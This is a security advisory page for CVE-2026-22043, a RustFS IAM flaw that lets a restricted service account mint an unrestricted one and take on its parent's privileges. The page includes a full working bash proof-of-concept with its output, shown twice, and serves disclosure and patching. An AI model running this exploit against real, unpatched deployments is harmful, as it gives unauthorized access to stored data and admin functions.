GHSA-XGR5-QC6W-VCG9
Vulnerability from github – Published: 2026-01-08 20:40 – Updated: 2026-01-08 20:40Summary
A flawed deny_only short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.
Details
akin to MinIO CVE-2025-62506
- Policy evaluation:
Policy::is_allowedreturns true whendeny_only=trueif no explicit Deny is hit, skipping all Allow checks (crates/policy/src/policy/policy.rs:66-74). - Service account creation path sets
deny_only=truewhen the target user equals the caller or its parent (rustfs/src/admin/handlers/service_account.rs:114-127). - Service accounts are created without
session_policyby default, so claims lackSESSION_POLICY_NAME; combined withdeny_only, self-operations are allowed without Allow statements. - Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.
Key code references:
crates/policy/src/policy/policy.rs(deny_only short-circuit)rustfs/src/admin/handlers/service_account.rs:(deny_only set for self/parent target)crates/iam/src/sys.rs(service account creation defaults, no session_policy)
PoC
Requires awscli, awscurl, jq, RustFS at http://127.0.0.1:9000, root AK/SK rustfsadmin/rustfsadmin. Run:
#!/usr/bin/env bash
set -euo pipefail
# ===================== Config =====================
ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}"
ROOT_AK="${ROOT_AK:-rustfsadmin}"
ROOT_SK="${ROOT_SK:-rustfsadmin}"
PARENT_AK="${PARENT_AK:-restricted}"
PARENT_SK="${PARENT_SK:-restricted123}"
CHILD_AK="${CHILD_AK:-evilchild}"
CHILD_SK="${CHILD_SK:-evilchild123}"
AWS_REGION="${AWS_REGION:-us-east-1}"
# Tools
AWSCURL_BIN="${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}"
AWS_BIN="${AWS_BIN:-aws}"
JQ_BIN="${JQ_BIN:-jq}"
# Disable proxies for local endpoint
export HTTP_PROXY=
export HTTPS_PROXY=
export NO_PROXY=127.0.0.1,localhost
# ===================== Helpers =====================
aws_cmd() {
local ak="$1" sk="$2"
shift 2
AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" "$AWS_BIN" --endpoint-url "$ENDPOINT" "$@"
}
awscurl_admin() {
local ak="$1" sk="$2"
shift 2
AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" \
"$AWSCURL_BIN" --service s3 --region "$AWS_REGION" --access_key "$ak" --secret_key "$sk" "$@"
}
timestamp_iso() {
python - <<'PY'
import datetime
print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())
PY
}
# ===================== Cleanup =====================
echo "[+] cleanup service accounts (ignore errors)"
for ak in "$CHILD_AK" "$PARENT_AK"; do
awscurl_admin "$ROOT_AK" "$ROOT_SK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true
done
echo "[+] cleanup buckets"
for b in bucket1 bucket2 bucket3; do
aws_cmd "$ROOT_AK" "$ROOT_SK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true
done
# ===================== Setup =====================
echo "[+] create buckets"
for b in bucket1 bucket2 bucket3; do
aws_cmd "$ROOT_AK" "$ROOT_SK" s3 mb "s3://$b" || true
done
echo "[+] seed bucket3 with marker object"
printf "poc-marker\n" | aws_cmd "$ROOT_AK" "$ROOT_SK" s3 cp - s3://bucket3/poc-marker.txt
EXP="$(timestamp_iso)"
echo "[+] create restricted policy"
RESTRICTED_POLICY='{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:ListBucket"],
"Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"]
},
{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": ["arn:aws:s3:::bucket1/*", "arn:aws:s3:::bucket2/*"]
}
]
}'
echo "[+] create restricted service account"
awscurl_admin "$ROOT_AK" "$ROOT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
-H 'Content-Type: application/json' \
-d "$("$JQ_BIN" -nc --arg ak "$PARENT_AK" --arg sk "$PARENT_SK" --arg policy "$RESTRICTED_POLICY" --arg exp "$EXP" \
'{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \
> /tmp/restricted_sa.json
cat /tmp/restricted_sa.json
echo "[+] list buckets as restricted (expect bucket1,bucket2 only)"
aws_cmd "$PARENT_AK" "$PARENT_SK" s3 ls
echo "[+] create child service account without policy (trigger deny_only)"
awscurl_admin "$PARENT_AK" "$PARENT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
-H 'Content-Type: application/json' \
-d "$("$JQ_BIN" -nc --arg ak "$CHILD_AK" --arg sk "$CHILD_SK" --arg exp "$EXP" \
'{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \
> /tmp/child_sa.json
cat /tmp/child_sa.json
echo "[+] child tries to list bucket3 (should be denied; success means vuln)"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 ls s3://bucket3; then
echo "child list bucket3: SUCCESS (vuln)"
else
echo "child list bucket3: DENIED"
fi
echo "[+] child tries to read marker from bucket3"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then
echo "child read marker: SUCCESS (vuln). Content:"
cat /tmp/poc-marker.txt
else
echo "child read marker: DENIED"
fi
echo "[+] child tries to write new object into bucket3"
if printf "child-write\n" | aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp - s3://bucket3/child-write.txt; then
echo "child write: SUCCESS (vuln)"
else
echo "child write: DENIED"
fi
PoC steps (in poc.sh):
1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with poc-marker.txt.
2) Create restricted policy (List/Get/Put only on bucket1/2).
3) Create restricted service account restricted/restricted123 with that policy.
4) With restricted, create child service account evilchild/evilchild123 without policy (deny_only short-circuit).
5) With evilchild, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.
Result:
./poc.sh
[+] cleanup service accounts (ignore errors)
[+] cleanup buckets
[+] create buckets
make_bucket: bucket1
make_bucket: bucket2
make_bucket: bucket3
[+] seed bucket3 with marker object
[+] create restricted policy
[+] create restricted service account
{"credentials":{"accessKey":"restricted","secretKey":"restricted123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] list buckets as restricted (expect bucket1,bucket2 only)
2025-12-16 18:51:16 bucket1
2025-12-16 18:51:16 bucket2
[+] create child service account without policy (trigger deny_only)
{"credentials":{"accessKey":"evilchild","secretKey":"evilchild123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] child tries to list bucket3 (should be denied; success means vuln)
2025-12-16 18:51:17 11 poc-marker.txt
child list bucket3: SUCCESS (vuln)
[+] child tries to read marker from bucket3
download: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt
child read marker: SUCCESS (vuln). Content:
poc-marker
[+] child tries to write new object into bucket3
child write: SUCCESS (vuln)
Impact
Privilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0-alpha.78"
},
"package": {
"ecosystem": "crates.io",
"name": "rustfs"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-alpha.13"
},
{
"fixed": "1.0.0-alpha.79"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22043"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-08T20:40:06Z",
"nvd_published_at": "2026-01-08T15:15:45Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA flawed `deny_only` short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent\u2019s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.\n\n## Details\n\n**akin to MinIO CVE-2025-62506**\n\n- Policy evaluation: `Policy::is_allowed` returns true when `deny_only=true` if no explicit Deny is hit, skipping all Allow checks (`crates/policy/src/policy/policy.rs:66-74`).\n- Service account creation path sets `deny_only=true` when the target user equals the caller or its parent (`rustfs/src/admin/handlers/service_account.rs:114-127`).\n- Service accounts are created without `session_policy` by default, so claims lack `SESSION_POLICY_NAME`; combined with `deny_only`, self-operations are allowed without Allow statements.\n- Result: a limited service account/STS can create a new service account without policy and obtain the parent\u2019s full rights (even root), bypassing original restrictions.\n\nKey code references:\n\n- `crates/policy/src/policy/policy.rs` (deny_only short-circuit)\n- `rustfs/src/admin/handlers/service_account.rs:` (deny_only set for self/parent target)\n- `crates/iam/src/sys.rs` (service account creation defaults, no session_policy)\n\n## PoC\n\nRequires `awscli`, `awscurl`, `jq`, RustFS at `http://127.0.0.1:9000`, root AK/SK `rustfsadmin/rustfsadmin`. Run:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# ===================== Config =====================\nENDPOINT=\"${ENDPOINT:-http://127.0.0.1:9000}\"\nROOT_AK=\"${ROOT_AK:-rustfsadmin}\"\nROOT_SK=\"${ROOT_SK:-rustfsadmin}\"\nPARENT_AK=\"${PARENT_AK:-restricted}\"\nPARENT_SK=\"${PARENT_SK:-restricted123}\"\nCHILD_AK=\"${CHILD_AK:-evilchild}\"\nCHILD_SK=\"${CHILD_SK:-evilchild123}\"\nAWS_REGION=\"${AWS_REGION:-us-east-1}\"\n\n# Tools\nAWSCURL_BIN=\"${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}\"\nAWS_BIN=\"${AWS_BIN:-aws}\"\nJQ_BIN=\"${JQ_BIN:-jq}\"\n\n# Disable proxies for local endpoint\nexport HTTP_PROXY=\nexport HTTPS_PROXY=\nexport NO_PROXY=127.0.0.1,localhost\n\n# ===================== Helpers =====================\naws_cmd() {\n local ak=\"$1\" sk=\"$2\"\n shift 2\n AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \"$AWS_BIN\" --endpoint-url \"$ENDPOINT\" \"$@\"\n}\n\nawscurl_admin() {\n local ak=\"$1\" sk=\"$2\"\n shift 2\n AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \\\n \"$AWSCURL_BIN\" --service s3 --region \"$AWS_REGION\" --access_key \"$ak\" --secret_key \"$sk\" \"$@\"\n}\n\ntimestamp_iso() {\n python - \u003c\u003c\u0027PY\u0027\nimport datetime\nprint((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())\nPY\n}\n\n# ===================== Cleanup =====================\necho \"[+] cleanup service accounts (ignore errors)\"\nfor ak in \"$CHILD_AK\" \"$PARENT_AK\"; do\n awscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X DELETE \"$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak\" \u003e/dev/null 2\u003e\u00261 || true\ndone\n\necho \"[+] cleanup buckets\"\nfor b in bucket1 bucket2 bucket3; do\n aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 rb \"s3://$b\" --force \u003e/dev/null 2\u003e\u00261 || true\ndone\n\n# ===================== Setup =====================\necho \"[+] create buckets\"\nfor b in bucket1 bucket2 bucket3; do\n aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 mb \"s3://$b\" || true\ndone\n\necho \"[+] seed bucket3 with marker object\"\nprintf \"poc-marker\\n\" | aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 cp - s3://bucket3/poc-marker.txt\n\nEXP=\"$(timestamp_iso)\"\n\necho \"[+] create restricted policy\"\nRESTRICTED_POLICY=\u0027{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Action\": [\"s3:ListBucket\"],\n \"Resource\": [\"arn:aws:s3:::bucket1\", \"arn:aws:s3:::bucket2\"]\n },\n {\n \"Effect\": \"Allow\",\n \"Action\": [\"s3:GetObject\", \"s3:PutObject\"],\n \"Resource\": [\"arn:aws:s3:::bucket1/*\", \"arn:aws:s3:::bucket2/*\"]\n }\n ]\n}\u0027\n\necho \"[+] create restricted service account\"\nawscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"$(\"$JQ_BIN\" -nc --arg ak \"$PARENT_AK\" --arg sk \"$PARENT_SK\" --arg policy \"$RESTRICTED_POLICY\" --arg exp \"$EXP\" \\\n \u0027{accessKey:$ak, secretKey:$sk, policy:$policy, name:\"restricted-sa\", expiration:$exp}\u0027)\" \\\n \u003e /tmp/restricted_sa.json\ncat /tmp/restricted_sa.json\n\necho \"[+] list buckets as restricted (expect bucket1,bucket2 only)\"\naws_cmd \"$PARENT_AK\" \"$PARENT_SK\" s3 ls\n\necho \"[+] create child service account without policy (trigger deny_only)\"\nawscurl_admin \"$PARENT_AK\" \"$PARENT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"$(\"$JQ_BIN\" -nc --arg ak \"$CHILD_AK\" --arg sk \"$CHILD_SK\" --arg exp \"$EXP\" \\\n \u0027{accessKey:$ak, secretKey:$sk, name:\"child-sa\", expiration:$exp}\u0027)\" \\\n \u003e /tmp/child_sa.json\ncat /tmp/child_sa.json\n\necho \"[+] child tries to list bucket3 (should be denied; success means vuln)\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 ls s3://bucket3; then\n echo \"child list bucket3: SUCCESS (vuln)\"\nelse\n echo \"child list bucket3: DENIED\"\nfi\n\necho \"[+] child tries to read marker from bucket3\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then\n echo \"child read marker: SUCCESS (vuln). Content:\"\n cat /tmp/poc-marker.txt\nelse\n echo \"child read marker: DENIED\"\nfi\n\necho \"[+] child tries to write new object into bucket3\"\nif printf \"child-write\\n\" | aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp - s3://bucket3/child-write.txt; then\n echo \"child write: SUCCESS (vuln)\"\nelse\n echo \"child write: DENIED\"\nfi\n\n```\n\nPoC steps (in `poc.sh`):\n\n1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with `poc-marker.txt`.\n2) Create restricted policy (List/Get/Put only on bucket1/2).\n3) Create restricted service account `restricted/restricted123` with that policy.\n4) With `restricted`, create child service account `evilchild/evilchild123` **without policy** (deny_only short-circuit).\n5) With `evilchild`, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.\n\nResult:\n\n```text\n./poc.sh\n[+] cleanup service accounts (ignore errors)\n[+] cleanup buckets\n[+] create buckets\nmake_bucket: bucket1\nmake_bucket: bucket2\nmake_bucket: bucket3\n[+] seed bucket3 with marker object\n[+] create restricted policy\n[+] create restricted service account\n{\"credentials\":{\"accessKey\":\"restricted\",\"secretKey\":\"restricted123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] list buckets as restricted (expect bucket1,bucket2 only)\n2025-12-16 18:51:16 bucket1\n2025-12-16 18:51:16 bucket2\n[+] create child service account without policy (trigger deny_only)\n{\"credentials\":{\"accessKey\":\"evilchild\",\"secretKey\":\"evilchild123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] child tries to list bucket3 (should be denied; success means vuln)\n2025-12-16 18:51:17 11 poc-marker.txt\nchild list bucket3: SUCCESS (vuln)\n[+] child tries to read marker from bucket3\ndownload: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt\nchild read marker: SUCCESS (vuln). Content:\npoc-marker\n[+] child tries to write new object into bucket3\nchild write: SUCCESS (vuln)\n```\n\n## Impact\n\nPrivilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.",
"id": "GHSA-xgr5-qc6w-vcg9",
"modified": "2026-01-08T20:40:06Z",
"published": "2026-01-08T20:40:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rustfs/rustfs/security/advisories/GHSA-xgr5-qc6w-vcg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22043"
},
{
"type": "PACKAGE",
"url": "https://github.com/rustfs/rustfs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.